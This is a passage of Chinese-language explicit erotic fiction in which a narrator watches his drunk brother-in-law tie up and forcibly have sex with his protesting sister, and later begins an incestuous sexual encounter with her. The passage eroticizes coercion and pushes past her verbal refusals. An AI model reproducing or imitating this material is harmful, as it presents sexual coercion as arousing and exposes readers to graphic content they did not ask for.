    我再也听不下去了,本来就还没彻底降烧的脑子更热了,我非得废了他不可,
    门把手一转就开,房门并未上锁。
    但是房间内并不是我想象中两人廝打在一块的场面……
    我一眼就看到了姐姐,她竟然近乎全裸的半躺在床头,并且双手高举过头顶,
    仔细一看我心中愈发震撼,她是被自己的蕾丝内裤捆住双腕,绑在身后床头板上
    一个镂空图案的环洞里。
    姐夫就在姐姐旁边,他背对着我,正满意的欣赏着姐姐,虽然还隔了段距离,
    但我已经能闻到他散发出来的酒气,真不知道这得喝了多少酒才会这样耍酒疯!
    「啊……你真的有病吧,还不放开我!」姐姐是真的生气了,很少听到她骂
    人。
    她扭动着半裸的雪躯,试图挣紮开手上的束缚,两条修长的美腿在床上胡乱
    地蹬动着,但全都无济於事。
    我那美丽优雅的姐姐,此刻竟然如同一个等待受刑的犯人那般被绑这,被迫
    接受男人的淩辱!
    她浑身上下只有一件被扯落至腰间的白丝绸缎的睡裙蔽体,胸前一对丰满玉
    乳完全敞开暴露,姐姐的乳房无论怎么看都很美,浑圆雪白、丰满坚挺,丝毫没
    有一丝下垂的痕迹。
    很快就有一双大手覆盖在姐姐高耸的胸部上,破坏了这极美的景象,姐夫肆
    意地揉捏玩弄着,姐姐的两只乳房时而被压扁,时而被捏长,一旦放开后又瞬间
    会弹回饱满浑圆的形状。
    姐夫虽然背对我,但他是位於姐姐身旁右侧,所以并没有遮掩住我的视线,
    眼前这震惊的一幕让我的心脏不住地狂跳,姐姐她是准备跟姐夫做爱了?
    虽说是夫妻俩很正常,但怎么这大白天的就开始了,况且为什么还要把姐姐
    给绑起来,把我姐当什么了?我仿佛有种姐姐正在被姐夫强奸的感觉。
    干!我昏沈的脑袋终於回过神来,我可不是是来看这场活春宫的,我是来救
    姐姐的啊,现在她这番模样明显也是在受「欺负」!
    姐姐秀发掩面,柳眉轻皱,银牙咬着红润的下唇,脸上写满了不情愿,被迫
    接受者姐夫对她身体的抚弄玩捏。
    然而,当我将房门彻底推开,出现在姐姐的视线里之后,她脸上浮现出难言
    的惊容,「啊」的一声惊呼后,立马扭动娇躯向姐夫靠近,利用姐夫宽厚的身子
    遮挡住自己半裸的娇躯。
    「小骚货,怎么突然主动起来了,是不是忍不住了?」姐夫言语间透露着兴
    奋,他见姐姐主动将身子贴着自己蹭来蹭去,还以为姐姐是动了情。
    而我一听到他用「小骚货」这么侮辱性的词语形容姐姐,气得整个人都要炸
    了,妈的,把我姐姐绑起来,浑身上下几乎扒得精光后还要侮辱她!
    这王八蛋根本没有把姐姐当老婆对待,姐姐对他而言只是一个玩物吗?我抄
    起门口旁的扫把,准备进去打他。
    「不……不要,不要进来!」姐姐见我要走进房间,慌乱的沖我喊着。
    我楞住了,为什么……
    「怎,怎么,我才插进来一根手指就受不了啊,那我给你再来一根爽爽!」
    酒后的姐夫,感知能力下降,对这发生的一切浑然不知,他正伸手在姐姐的
    下体亵弄着。
    我看见姐姐两条雪白的美腿中间,姐夫那条突兀的黝黑胳膊正在快速抽动,
    还发出了像是刷牙漱口时的那种「咕唧……咕唧……」的水流搅动声。
    姐姐似乎在努力阻止姐夫的作祟,修长的双腿不断夹紧、摆动,但是随着姐
    夫不依不饶的抽弄,很快她就失去了力气,娇躯上下剧烈起伏,双腿无力地向两
    旁摊开。
    而我也终於看清,姐姐那娇嫩的美穴已是波光粼粼,粉红的穴口被姐夫左手
    的食指和中指撑开,大量的春露被搅动得泛起白色泡沫,流出了一大滩亮晶晶在
    床单上。
    「快……快出去。」姐姐此刻显得很虚弱,但她仍着急地催促着我离开,听
    起来竟有几分哀求之意。
    我看清了她俏脸上倔强的表情中,藏着的一份不想让我看穿的屈辱,我愈发
    心疼她。
    「怎么,嫌手指太细不喜欢是吗,那好,那老子就用鸡巴喂饱你!」
    姐夫不知何时已经脱了的裤子,还不待我反应过来他就已经趴在了姐姐双腿
    之间,挺腰狠狠向下紮入。
    「嗯啊……」姐姐高昂螓首,仰面发出了一声悠长的娇喘,姐夫听后明显更
    加兴奋,马不停蹄的开始了胯下的挺动,而我却觉得这更像是一声悲鸣,如利剑
    般深深地紮在我心头。
    「快……快出去,求你了……啊……」姐夫整个人压在姐姐身上,阻断了她
    和我贯通着的视线,我和姐姐看不到彼此,但我知道她这句话还是说给我听的。
    看到姐姐被如此对待,我实在於心不忍,想进去阻止,但听到姐姐一遍又一
    遍的苦苦哀求后,我终是犹豫了,不知如何是好。
    「怎么今天性子这么烈!你平时不都是缠着我很想要吗!」姐夫的声音提高
    了许多,显然姐姐的身体给他带来了无限的快感,他舒服得音调都开始有些扭曲。
    我从姐夫身后看到,姐姐那两条修长的双腿被他扛在肩头,如同缴获了丰盛
    的战利品那样,尽情享用着将身为俘虏的姐姐。
    姐姐两只纤细的小腿在姐夫肩无助地上下摇晃着,白嫩可爱的脚丫画出了一
    道又一道道妩媚的弧线,姐夫用力挺动着胯部的同时,时常还会扭头去啃咬姐姐
    的脚丫上那涂着粉色指甲油的脚趾。
    姐姐怕痒,尤其是脚丫,儿时打闹时我经常会抓着她的脚丫挠弄,每次都逗
    得她娇笑连连,但没想到成年的某一天会看到姐姐的脚丫会成为取悦其他男人的
    工具。
    「嗯……啊……嗯啊……」尽管姐姐在极力忍耐,但还是忍不住发出了几声
    娇吟,当着弟弟的面被玩弄还能舒服得欲仙欲死,悬在空中的晶莹足趾用力地紧
    握,似乎在宣示无边的快意。
    我没想到姐姐的呻吟声如此的销魂蚀骨,听起来柔柔弱弱的但有带着绵绵不
    绝的颤音,像是猫爪挠在心头的,激发起想要狠狠蹂躏她的欲望。
    姐夫听到姐姐的呻吟后大受鼓舞,他放下肩上的两条美腿,然后俯身弯腰,
    用尽浑身力气力向下快速抽插着,胯部一下又一下凶猛地砸着,仿佛跟身下的姐
    姐有仇似的。
    床板被震出了「咯吱咯吱」的声响,还有「咕叽咕叽」液体挤压声,「啪…
    …啪啪……「清脆的肉体碰撞声更是连绵不绝,此起彼伏着演奏出了一曲淫
    靡的交响乐。
    但是,很快姐夫的喘息声变得粗重,显然保持这个高频率的抽插极为消耗体
    力,他动作逐渐缓慢了下来,然后解开姐姐被绑着的双腕。
    「来,我们换个姿势!」我正以为姐夫良心发现要放了我姐,听到他说的话
    才明白给姐姐松绑只是为了换个花样继续玩弄她。
    「不……不要……」姐姐的声音带着微弱的哭腔,双手掩面不想让我看见她
    的脸。
    「不要个屁,给老子翻过去,趴着!」姐夫骂骂咧咧着。
    姐姐试图站起来,但是姐夫拽住了她的右手并且猛得一拽,姐姐一个趔趄,
    轻盈的身子便又扑倒了下来,她此刻的姿势变成了脸朝着站门口的我,翘臀却是
    对着床头板撅起。
    「别看!别看,啊……」我和姐姐再一次四目相视,见到我还在,她快要奔
    溃了一样,痛苦地闭上眼睛,只剩下口中不断的喃语。
    「什么别看别看,吵死了,你身上哪个地方老子没看过,现在装什么纯!」
    姐夫说完,伸手就在姐姐那雪白的圆臀赏了一记臀光,「啪」的一声响很是
    清脆,白皙的臀肉立马烙上了一个屈辱的巴掌印。
    然后他身子向姐姐的雪臀挪近,这一看就是准备要来个后入式,那他的身子
    定然也要转过来,我岂不是要被看见?
    「出去……出去……出……」姐姐甚至比我还要慌乱,想要翻个身来拖延,
    但姐夫伸手就按住她的柳腰,无法动弹。
    我明明进房间的本意是来找姐夫算账的,但不知为何,现在竟然犹豫,第一
    反应竟然是不能让他看见我!姐姐仍在苦苦哀求着:「出去……出去……出去…
    …「
    我咬着牙,如同一个丢盔弃甲的败者,最终还是退缩了,丧气地闪出了房间,
    并顺手将门给关上了。
    在房门还未完全关闭时,我透过那一条缝隙看了姐姐最后一眼,我那美丽优
    雅的姐姐此刻像一只母狗趴在床上高高的撅起翘臀迎合着身后男人的抽插……
    也许姐夫是觉得今天姐姐一直忤逆她,嫌她聒噪吧,竟然拾起那条刚绑过她
    手腕的内裤塞入了姐姐的口中!
    姐姐「呜……呜呜……」含糊不清的闷哼着,嘴角有晶莹的唾液不断的流下,
    我从未见过姐姐如此屈辱、淫浪的模样,向来养尊处优的她竟然甘愿被如此羞辱、
    玩弄,任由男人随意索取……
    为什么,这到底是为什么?我反复叩问着自己,各种难言的滋味在脆弱的身
    体里沖撞着。
    再也不忍心看下去了,门被彻底关拢了,只留下一个被自我隔绝的懦夫,那
    条透着光亮的门缝消失了,但是我的心头,那道正在淌血的裂缝又该怎么去愈合
    ……

    第三章
    曾经以为的美好,就这么无情的在眼前被撕毁,一同破碎的,还有我那颗脆
    弱的心。
    我努力装得坦然和无谓,想要以更自然一些的神态去面对眼前的姐姐,但她
    显得尤为消沈,置於面前的饭菜纹丝未动,沈默束缚着彼此,姐弟间两个人的晚
    餐竟变得如此尴尬。
    姐夫在下午折腾完后又出门了,至於何时回来我并不关心,巴不得他回不了,
    只是现在家中仅剩我和姐姐二人,我有些不知该如何相处。
    我举起头看向姐姐,脑海中又不受控制闪现出她被姐夫捆绑在床上的画面,
    那副淫靡的模样让我不敢相信这竟然是我的姐姐……
    「阿坚你烧退了些没有,中饭没给你准备,晚上肯定饿坏了吧。」
    姐姐的目光闪躲了几下,又逐渐镇静下来,恢复了她本该有的从容和优雅,
    我看到了她眼眸中的缱绻,那是一种温柔和珍惜。
    此刻的她,终於从那个一直出现在我意识里的淫浪女人变回了温柔贤淑的姐
    姐。
    「姐姐,为什么!为什么当时不让我阻止他!」我终是忍不住了,这个疑问
    始终在贯穿着我,情绪积压在体内使得我整个人快要爆炸了。
    姐姐没有作声,低下头,又是一阵沈默……
    「姐,对不起……」我真是哪壶不开提哪壶,见姐姐有些黯然的模样,又是
    一阵揪心的疼。
    「那是我们夫妻间的事,再说,我也习惯了他的性子。」
    什么,我一听就急了,就算是夫妻俩,他也不能这样对待姐姐啊!
    「你说习惯了?难道,那混蛋经常这样……这样不尊重你吗?」我站起身来
    质问着。
    「没,有时喝完酒后,性子来了就会粗鲁些……」姐姐声音越来越小,而我
    越来越恼火。
    听了她这句话我可算明白了,那个混蛋估计每次喝完酒就会性情大变,然后
    找姐姐发泄,下午发生的事就是个很好的证明。
    难怪昨晚姐姐和姐夫散步回来后,脱下来的内裤上有精液,那个王八蛋昨晚
    也喝酒了,他一定是强迫着姐姐发生了关系,极可能还是路边的野战……
    我咬牙切齿,捏紧拳头狠狠砸了几下桌面,面目可憎的模样可能吓到了姐姐。
    「阿坚,你没事吧,其实下午那时候,不让你来阻止,主要也是为了你……」
    姐姐顿了顿,但还是说了出来。
    为了我?这到底什么意思,我面露疑色。
    「你忘了吗?过两天你还得去你姐夫公司呢,就靠他照顾你了。你那时那么
    沖动,如果闯进来和他大闹,谁知道以后会发生什么啊,你要和他搞好关系,多
    学些经验……」
    就因为我有求於那混蛋,为了不不让我得罪他这个可笑的原因,姐姐她默默
    选择了独自承受了所有!
    我好恨,恨自己当时都沖进房间了,为什么又选择了退缩,我愈发觉得自己
    无用,没有成功的本事,也没有保护她的能力。
    「我是不可能和那个混蛋搞好关系的!明天,明天我就回家。」克制住气得
    颤抖的身体,我沈着声说完这句话,转身就走。
    「为什么?别耍小孩子脾气了好吗?」姐姐拉住了我我的手。
    「你问我为什么?你觉得我只是在耍小孩子脾气吗?」我回过脑袋,姐姐这
    句质问彻底激碎我心中的那些脆弱的坚持。
    「姐姐,难道你真的不知道吗,我喜欢你啊,我从小就喜欢你啊!那个混蛋
    娶走你的时候,你知道我有多么伤心难过吗?我用你会幸福来安慰自己,麻痹自
    己!」
    我也不知,为何要对她说这些,明明辛苦隐藏了那么久喜欢她的事实,为何
    这一刻只想倾诉个痛快,或许是因为还在发烧,大脑无力管制住口中不停蹦跶出
    来的那些话语。
    「可是,姐,当我看到你被他那样对待,我最喜欢的人被他随意侮辱、玩弄,
    我快要疯了,你让我和他搞好关系,你觉得可能吗?可能吗?!!」
    我的近乎歇斯底里的嚎着,心中深埋的感情被残忍地亲手挖了出来,将那些
    血淋淋的情感扔在在她的脚下。
    「别说了,不要再说了……不要再说了……」姐姐眼眸泛着泪花,又是那副
    让人怜惜的模样。
    我转过头,强忍住想要安慰她的本能,把自己锁到了房间,也许独处在这个
    自我封闭的空间里,才能稍显舒坦的呼吸吧。
    当晚,姐姐并没有敲门,没有试图来安慰我的举动,一种孤立无援的挫败感
    笼罩着我,我默默收拾着行李。
    ……
    直到次日清晨,我才发现姐姐并不在家,好像很早就已经出去了,难怪家中
    安静得可怕。
    虽说昨晚差点和她爆发争吵,但毕竟她是我的姐姐,我开始担心她。
    「姐……你,你在哪儿?」我拨通了电话。
    「我现在有些事情要处理,得晚一点回来。」姐姐的声音竟然有些些说不出
    的憔悴,这使得我愈发担心。
    「什么事情?」我问道。
    「我在派出所,你姐夫他,他昨晚醉驾被查到了……我作为家属得办些手续
    ……」姐姐迟疑了一下,但还是一五一十的告诉了我,只是言语间透露着疲惫和
    忧虑。
    「什么?!姐你在哪个派出所,我也过来一趟。」
    那个王八蛋竟然酒驾被抓,虽然在我心中喊了几声老天开眼,但并没有幸灾
    乐祸,不过怎么说,他作为家中的顶梁柱,真出了事,姐姐一人可怎么办?
    我出了门,打车前往姐姐所说的派出所,我真没有想到短短一两天内,可以
    发生这么多事,一切都可憎到如梦魇。
    一到地方,我就看到了姐姐,她没有我想象中的那般难过,虽然眼眶有些红
    肿,但美丽的脸上更多的是一种坚毅,还有轻微的愤怒。
    我有些诧异,当我来到审讯室门口,透过小窗向里张望后,终於明白了姐姐
    为什么在生气。
    我的那个混账姐夫,此刻正被拷坐在讯问椅上,满脸红通闭着眼,一副醉酒
    的模样,更重要的是他旁边有一个打扮暴露的妖冶女子,也同样酒醉未醒。
    「那名女子是昨晚和车主在一起,虽然不是她开的车,没她什么事,但她醉
    得不省人事,联系不上她家人,我们只能让她先待在这里,对了,你们认识她吗?」
    旁边的一位民警开口,向我和姐姐问道。
    「不认识,警察同志,没什么事我们先回去了。」姐姐的声音有几分冷淡,
    但一直紧握着秀拳,看得出来她正在极力克制着自己的情绪。
    孤男寡女在外喝酒又迟迟不肯回家,想想都知道关系不一般,妈的,家里有
    姐姐这样漂亮的老婆,还在外面鬼混,真特么混账,活该进派出所。
    只可惜酒驾才拘留15天,仅仅这么几天的惩罚远远不够舒缓我对他的不满,
    真是便宜那混蛋了。
    姐夫的车暂被扣留着,我和姐姐在路边拦下一辆出租车,我先是拉开后座的
    车门,待姐姐进去后,我想去副驾坐,却发现她轻轻地拉了一下我的手。
    於是,略微迟疑后,我也坐到了后排,姐姐的纤纤细手仍然握着我,那细弱
    无骨般的柔软舒服触感使我心生异样,瞧了她一眼,姐姐脸蛋朝向窗外,外面景
    色不断地在她螓首后面拂过。
    「姐,别难过了,不值得……」我安慰着她,被握住的手掌伸展而来,慢慢
    地和姐姐衍变成了十指相扣。
    姐姐察觉了到了手上的变化,娇躯微颤,但并未抽手离开,并且还用力地握
    了握我,然后脑袋靠在我肩膀上,香风扑鼻……
    「我不难过,我更多的是失望,我那么信任他,可他……他……」姐姐说到
    一半,忍不住情绪的泛滥,小声在我肩头抽噎着。
    「姐……」我张了张嘴,却不知该说些什么去安慰,索性张开臂弯,环抱住
    姐姐,将她拥了过来,一切尽在不言中。
    昨日,我发烧时,是姐姐温柔的抱着我,为我提供温暖,现在,该换我抱着
    她了,当心爱的人在最伤心难过的时候,我无能为力,只希望能为她提供一个避
    风的港湾。
    我想见她的笑颜,她落泪的模样会使我跟着心碎,抱着一起,心贴着心,仿
    佛感受到姐弟之间的情感正在交换流转着。
    可惜她是别人的妻子,而我以后也会有自己的家庭,说不定还会逐渐疏远,
    若干年的以后,我们还会记起现在这温馨的时刻吗……
    不知不觉,心就飘得远了,车已经行驶到了姐姐家门口,我恋恋不舍松开了
    拥抱,搀着姐姐缓缓下了车。
    姐姐对我微笑,示意她没事,不用担心,我点点头,然后她回了卧房。
    我昨晚一气之下,起了打算回到父母身边的念头,连行李也都准备好了,现
    在看来是白忙活了。
    姐姐现在那么无助,我怎么舍得扔她独自在这,我拿起那些行李,准备将它
    们恢复原样。
    「对了,阿坚,你早饭还没吃吧……」姐姐突然走来说道,见到我手中正提
    着行李,她明显楞了下。
    「昨天你说的那些话……比如喜欢我之类的……是真的吗?」姐姐认真地看
    着我,美眸里扑朔着的光彩让我迷离,有些恍惚。
    「我……嗯。」我支吾着,紧张的看着她的俏颜,不知道她为什么突然问这
    个,再想起昨晚沖动时说的那些话,现在觉得尴尬了许多。
    姐姐好看的柳眉轻蹙,稍许后叹了一口气,但是脸上流露出了轻松的神色。
    「傻瓜……」姐姐喃语道,白嫩的葇荑轻抚着我的脸,我傻傻的楞在那儿,
    任由那凉滑的小手在我发烫的脸颊滑动。
    「唉,但我又有什么资格说你傻呢,或许,我也要跟着犯傻。」姐姐又是一
    声轻叹,嘴中念叨着,像是说给我听,又像是说给她自己在听。
    接下来,姐姐做了一个我想也不敢想的举动,她捧起了我的脸,红润的樱唇
    轻轻地沾在我的唇上。
    姐姐的唇!她的唇瓣是那么的柔软,尽管只是轻轻地触吻着我,但像是星火
    滴落在火药上,将我体内的情欲瞬间点燃了。
    我回吻着姐姐,撬开了她的两排银牙,伴随一股芬芳温暖的呼吸,我的舌头
    鉆进姐姐湿润的的口腔中,立刻在里面搅得天翻地覆,吮吸着那芬芳馥郁的琼浆
    玉露。
    明明是姐姐先主动,她反而开始变得不知所措有些要挣脱的迹象,我用力的
    搂紧了那绝美的娇躯,亲吻得更加用力了,心脏狂跳,额角已经激动得流下汗来,
    胯下的坏家夥立竿见影的硬了。
    但姐姐毕竟是过来人,她就恢复了那份优雅的从容,灵巧的小舌头开始积极
    回应着我的同时,她竟然还用酥胸挤压着我,那两团乳房那么的柔软,在我坚硬
    的胸口上来回揉动打转,太美妙了!
    姐姐吻技娴熟,我和她的舌头交织缠绕在一块,那柔软、那滑软、那那香嫩,
    很快我就败下阵来,她灵巧的小舌头不知不觉都反攻到了我的口腔里,我逐渐感
    到有些喘不过气来……
    「呜……不行了,姐,喘口气……呼……」
    「怎么了,刚才不是一副要吃了我的阵势吗?」姐姐得意的看着我,一丝晶
    莹的唾液从她性感的唇角流下,说不出淫靡和魅惑。
    「姐姐,为什么亲我?」我很傻瓜的问出了这么一句话。
    「因为我愿意。」姐姐笑了笑,娇靥如花,高挺的琼鼻抵着我的额头,芬芳
    的气息卷起包含情意的绵绵细语,不停鉆进我的耳朵、俘虏我的神经。
    我的心脏剧烈跳动着,不敢相信现在所发生的一切,我有些看不透她,这个
    我最爱的姐姐,她竟然像是对待情郎那般挑逗着我。
    我的双手已经不自觉的搂住姐姐的纤腰,感受着那曼妙欣长的曲线,体内压
    抑的欲火已经熊熊燃烧,
    空气也变得火热,两人呼吸也急促起来,仿佛都知道接下来可能要发生的事,
    可是我反而不知道该怎么办了。
    真的要继续下去吗,姐姐她真的愿意吗?她为什么要这样,难道只是为了报
    复姐夫吗?要知道这可是不折不扣的乱伦啊!
    我承认我内心深处有些变了质的情感,时常会催发出一些违背伦理的念头,
    但真的让我和姐姐发生关系,我还是犹豫了……
    我爱她,也尊敬她,就算我无谓违背伦理,我也不愿意让姐姐被戴上一顶不
    知廉耻的帽子。
    姐姐……姐姐……不行!我坚守住了最后的一丝理智,鼓起勇气推开姐姐的
    香肩,她美丽的脸庞上露出有些意外的表情。
    「我知道你在想什么。」姐姐平缓地说道,她一直都善解人意,这次仿佛又
    看穿了我心中所想。
    我有迷茫,不知该如何回答。
    「你前天晚上,拿我内衣时……怎么不像现在这样克制……」
    我万万没想到姐姐居然知道了我那晚拿她内衣自渎,虽然刚才都和她亲吻了,
    但糗事被揭开还是慌了神,刚想开口解释就被她用手指抵住嘴,示意继续听她说。
    「你姐夫他已经对我冷淡了许多,其实我和他最近的日子并不快乐……」
    我不知道她为何在这个时候要提起那个混蛋。
    「有时,我也会怀念起刚和他在一起时的日子,怀念那种被人喜欢着的感觉,
    多好啊……都说七年之痒,为什么我和他才结婚两年,就开始失去激情。」
    我不能理解,能和姐姐这样完美的妻子过日子是无数男人所向往的,怎么就
    在短短时间内失去激情了呢,一定是那个混账姐夫不懂的珍惜!
    「我甚至……甚至厌恶和他的房事……」姐姐脸上也有些怪异,薄晕闪烁。
    我想起昨天下午看到的,那个王八蛋那么蛮鲁,丝毫没有尊重过姐姐,纯粹
    是为了发泄才和姐姐行房,难怪姐姐会厌恶。
    「我有时也想过,干脆就去找其他男人,来给这逐渐平淡的日子里增添一些
    波澜……」
    我顿时紧张,姐姐这是想搞外遇?她该不会真的还和其他男人发生关系过吧?!
    「但最终我还是没有,我自认还是一位忠贞的妻子,不愿做出什么出格的事,
    但没想到他早已经背叛了我……」
    呼,我暗自松了口气。
    「其实你不必害羞,你喜欢姐姐,姐姐也是挺高兴的,刚才回来的路上,在
    车里时我想了很久,若让我去和其他男人……说实话我还是有些抵触的,但如果
    是你,我好像挺……愿意的。阿坚,你会不会觉得姐姐是一个淫……淫荡的女人?」
    姐姐好听的声音变得有些沙哑,但还是向我袒露出了心中所有的话语,最后
    如释重负,挽了挽额前的一缕秀发,勉强的笑了笑,静待我的回答。
    「姐姐,我不允许你这样说自己,在我还很小的时候,你在我心中是最完美
    的,这么多年来一直都没有改变过。可是,若要我们踏过那条界限,真的可以吗?
    毕竟我们是姐弟……「
    我说着就拉起姐姐的手,但又觉得此刻的气氛这样做有些不妥,想要放下又
    有些不舍,一时间有些僵住了……
    「正因为你是我弟弟,我才愿意给你,全天下所有男人都有可能对我变得不
    好,但我相信,只有我的弟弟不会变。」姐姐莹莹小手握了握我的手指,很好的
    回应了我。
    我没有想到姐姐会这么说,她不但愿意和我一起违背伦理,还可以毫不避讳
    地将我们之间血缘关系挑得如此明晰,给人感觉即使是姐弟又怎样,一切都显得
    那么自然。
    一直以来,我一直苦苦压制着自己的本性,就是因为这层血缘捆绑了我龌龊
    的灵魂,让我因为对姐姐产生那些不该有的想法而蒙羞。
    而姐姐的话让我豁然开朗,我何要将和她的血缘关系看成是一种束缚,它并
    不是一根用来捆绑我的绳索,而是一根连接在我和姐姐之间斩不断的羁绊……

    第四章
    我和姐姐血浓於水,天生就有些化不开的情缘紧紧包融着我们,既然你情我
    愿,那么有何不可?世俗的枷锁註定要被打破,就算错了,那又何妨。
    我搂着姐姐纤细的腰肢,彼此默契地挪动步伐走向床边,我将她轻轻放倒在
    床上,然后我压在她柔软的香躯上。
    我的姐姐,我最爱的姐姐,就在我的身下,任由我对她做想做的事,一想到
    她是那么的优雅,我竟然开始感到有些自卑和惭愧……
    姐姐伸出两只葱白的小手扶正了我的脑袋,让我正在躲闪的眼神深情地落在
    她脸上。
    她秀发挽起,盘成一团在脑后,白皙的俏脸上未施妆容,却丝毫不影响她的
    美丽,反而有着清新脱俗的秀美,闪烁的星眸似是盛着水盈盈的情意……
    「小傻瓜,傻楞着干什么……」姐姐的声音软绵绵的,雪白的脸蛋绽出醉人
    的绯红。
    一只滑嫩的小手从我衣服下面伸进来,微凉的触感,指尖有些在颤抖,像是
    有电流从我肌肤上通过,丝丝缕缕勾动着我蓬勃高涨的情欲
    「姐姐,你好美。」
    我伸手摸向姐姐胸前高耸的乳房,掌心轻轻覆盖住那浑圆的曲线,然后像是
    被一股魔力吸住了一般,不由自主的捏住那丰满的乳房揉捏起来。
    好大!好软!这就是姐姐的乳房!我梦寐以求的乳房!一只手根本抓不过来,
    那团乳肉在我手掌中不停变换着各种形状,我感觉掌心快要融化了。
    那感觉实在太美妙了,我越揉越用力,越摸越放肆,就算隔着衣服也依然能
    感受到姐姐乳房的丰满与弹性。
    我一边揉弄着姐姐的酥胸,一边看着她白皙而欣长的脖颈,散发着优雅的美,
    忍不住凑上去咬了一口,然后又往下舔弄着她性感的锁骨……
    「嗯……啊……」随之而来的,是姐姐从鼻腔中发出来的浅浅呻吟声。
    但很快我就不满足於此,我要将她身上碍事的衣物褪去,姐姐穿着一件淡蓝
    色的纺纱裙和粉色花波短袖,她乖巧无比不带反抗,使得我脱起来很是方便。
    除去姐姐的衣服,将她迷人的娇躯赤裸在眼前,面对从小就熟悉的脸庞,无
    比真切的刺激猛烈沖击我全身的神经,再加上是第一次给女人脱衣服,我紧张得
    手都在抖。
    我抓着她短袖的下沿,慢慢向上掀起翻卷,逐渐露出那白皙细嫩的肌肤,直
    至她整个丰满的酥胸都暴露在我眼前!
    「啊……」姐姐又是一阵酥麻的娇呼,随后红着脸闭上了眼睛,尽管已经做
    好了将一切都交给我的准备,但真被我剥去衣服,她还是有些羞怯和矜持。
    我的视线被牢牢的锁住,由於天热,她穿的胸罩是半罩杯的蕾丝胸罩,艳丽
    的桃红色布料绣着黑紫色的花纹,说不出的性感和妖冶,完美衬托出了美少妇该
    有的迷人韵味!
    姐姐雪白而又饱满的乳房有一大半都露在外面,美丽而惊人,蕾丝胸罩将姐
    姐的丰胸向中央聚拢形成了一道深不见底的乳沟,即使是平躺着,两座洁白晶透
    的山峰依旧是又圆又挺。
    更我惊喜的是,我发现姐姐的这件胸罩还是前搭扣的,我捏住搭扣轻轻地一
    扭,「哒」胸罩应声而开,那对洁白雪乳像是得到解放了一般瞬间蓬松,松脱的
    胸罩也因此滑落,姐姐的双乳顿时时赤裸!
    好美!姐姐的乳房真的好美!粉艳的小乳头半硬半软,在我肆无忌惮的註视
    下,不知羞耻的发硬立了起来,傲然翘立在雪峰顶端,这充满情欲的变化透出强
    烈的雌性诱惑。
    我看得口干舌燥,趴在姐姐双乳间,抓起那鲜艳欲滴的乳房就往嘴里塞,吮
    吸着她香甜的乳头。
    「嗯……嗯啊……啊……」姐姐诱人的呻吟声开始蔓延,同时她用手摸着我
    的脸颊,这充满浓浓爱意的动作让我心花怒放,我吸她乳头更加卖力了。
    姐姐的乳头在我的吸吮下,充血变成了鲜红色,乳头的四周浮起一小圈浅粉
    的小乳珠,看着乳珠团团围绕着那小若珍珠的乳头,我颇为好奇,於是用手指夹
    住硬立的乳头拧动。
    「啊……别啊……嗯嗯……啊……」姐姐的呻吟声立刻变得嘹亮起来,还主
    动挺起酥胸迎合我,没想到姐姐的反应这么激烈,我又开始挑逗和按压,变着花
    样玩弄她的乳头。
    「啊,不要了,不要了,痒……痒死了……嗯嗯……」姐姐敏感的乳头经不
    住我的玩弄,怕痒的她发出阵阵急促的娇哼,娇躯胡乱扭动着。
    「姐姐,哪里痒,是下面痒了吗?」姐姐的话语在我听来已经变成了淫词浪
    语,明知她说的是被我舔得发痒,但我偏要故意歪曲她的意思。
    说完,我的左手已经伸进她的裙子里,按在双腿之间那胀鼓鼓的肉丘上,隔
    着内裤揉搓着,仿佛可以感受到一阵又一阵潮湿热气正在腾腾散发而出。
    「啊!不要……」私处遭袭,姐姐羞耻得要死,双手又来推我,但这在我看
    来欲拒还迎的动作,无疑使我充满了占有欲。
    「我偏要!」我的语气颇显强硬,同时心脏快要沖破胸膛,占有欲无比的强
    烈,急不可耐的想要占有姐姐。
    姐姐下身的蓝裙被我扒落,两条美腿如此的修长,大腿丰满而匀称,够肆无
    忌惮地爱抚她们是我曾经多少个日夜来的梦想,如今终於得偿所愿!
    可现在我没有心思多耗时间在这上面,因为还有个更致命的诱惑在等着我,
    我抱起姐姐那两条雪白的大腿向两边分开,姐姐试图夹紧双腿,但她的力气怎么
    可能比得过我,只能任由我将双腿打开。
    我贪婪地向姐姐两腿深处望去,胸罩同款的桃红色蕾丝内裤覆盖在她神秘的
    三角洲位置,小巧的内裤勉强遮掩着那团丰满的肉包,几根阴毛调皮地从旁边露
    了出来,再仔细一看竟然还有水渍从中间渗出。
    「嘿嘿,姐姐,你尿裤子了吗?」我逗着姐姐,还故意戳了戳那滩水渍的位
    置,指尖按在上面轻轻撚揉,惹得姐姐娇躯乱颤。
    「臭小子,你才尿裤子了呢,明知故问,怎么这么坏?哼!一点也不可爱了!」
    姐姐双手拍打着我的后背,没好气的说着,但又拿我没办法,索性红着俏颜扭过
    头不在看我。
    「嘿嘿,姐姐,我给你检查一些到底尿了没有。」我露出坏笑,手指勾住内
    裤中部,用力往旁边拉扯,揭露出那美丽的神秘地带
    「不要……不要……啊!」姐姐嘤咛一声,出於本能的抗拒着我,似乎被弟
    弟脱去内裤是一件非常羞耻的事。
    但她的反抗根本起不到任何作用,小巧的蕾丝内裤很快被我剥到一旁,露出
    了她两腿间最大的秘密。
    好美!真的好美!再次瞧见姐姐的美穴,我又忍不住发出了由衷的感慨,上
    次匆忙窥视,总觉得还没看够,这次终於彻底研究个仔细了!
    乌黑柔顺的阴毛有些浓密,像白雪上的杂草肆意蔓延,但又很整齐,看得出
    来有被精心修剪过,两片花瓣精巧而美丽,保持着粉嫩肉色,向左右两边微微绽
    开,隐藏其间的肉状花蕊整散发出诱人的雌性芬芳,涓涓细流缓缓流淌出来。
    「阿坚,别……别看了。」姐姐羞意弥漫,双腿不住的颤抖,腰肢更是扭个
    不停,不安地推着我向她双腿间靠近的脑袋。
    「姐姐,你果然尿裤子了,羞不羞啊,让我给你舔干净!」姐姐睁大了美丽
    的双眸,不可思议的看着我,我的话令她既惊讶又羞愧。
    姐姐美丽的性器就摆在我眼前,我怎么可能忍得住想要大快朵颐的沖动,张
    嘴覆盖在她毛茸茸的美穴上!
    我用舌头感受着姐姐阴唇的形状、柔软的触感,淡淡的芬芳带着隐约雌性荷
    尔蒙味道形成了一股异香充满我的口鼻。
    「啊……你干什么啊……嗯……那,那里脏啊……傻瓜……嗯……啊……」
    我才刚伸出舌头在那片湿润的穴口舔了一下,就立刻激得姐姐声声娇吟抗议。
    姐姐的反应比我想象中要强烈,她的美穴可能很少被那个混蛋姐夫舔,甚至
    根本没被舔过!
    一想到这,我更为激动,舌头舔遍姐姐整个阴户的同时,还伸出一根手指探
    进她的幽幽花径里,毕竟我还是个处男,先提前感受下姐姐那里面的蜿蜒曲折,
    好为下一步做准备。
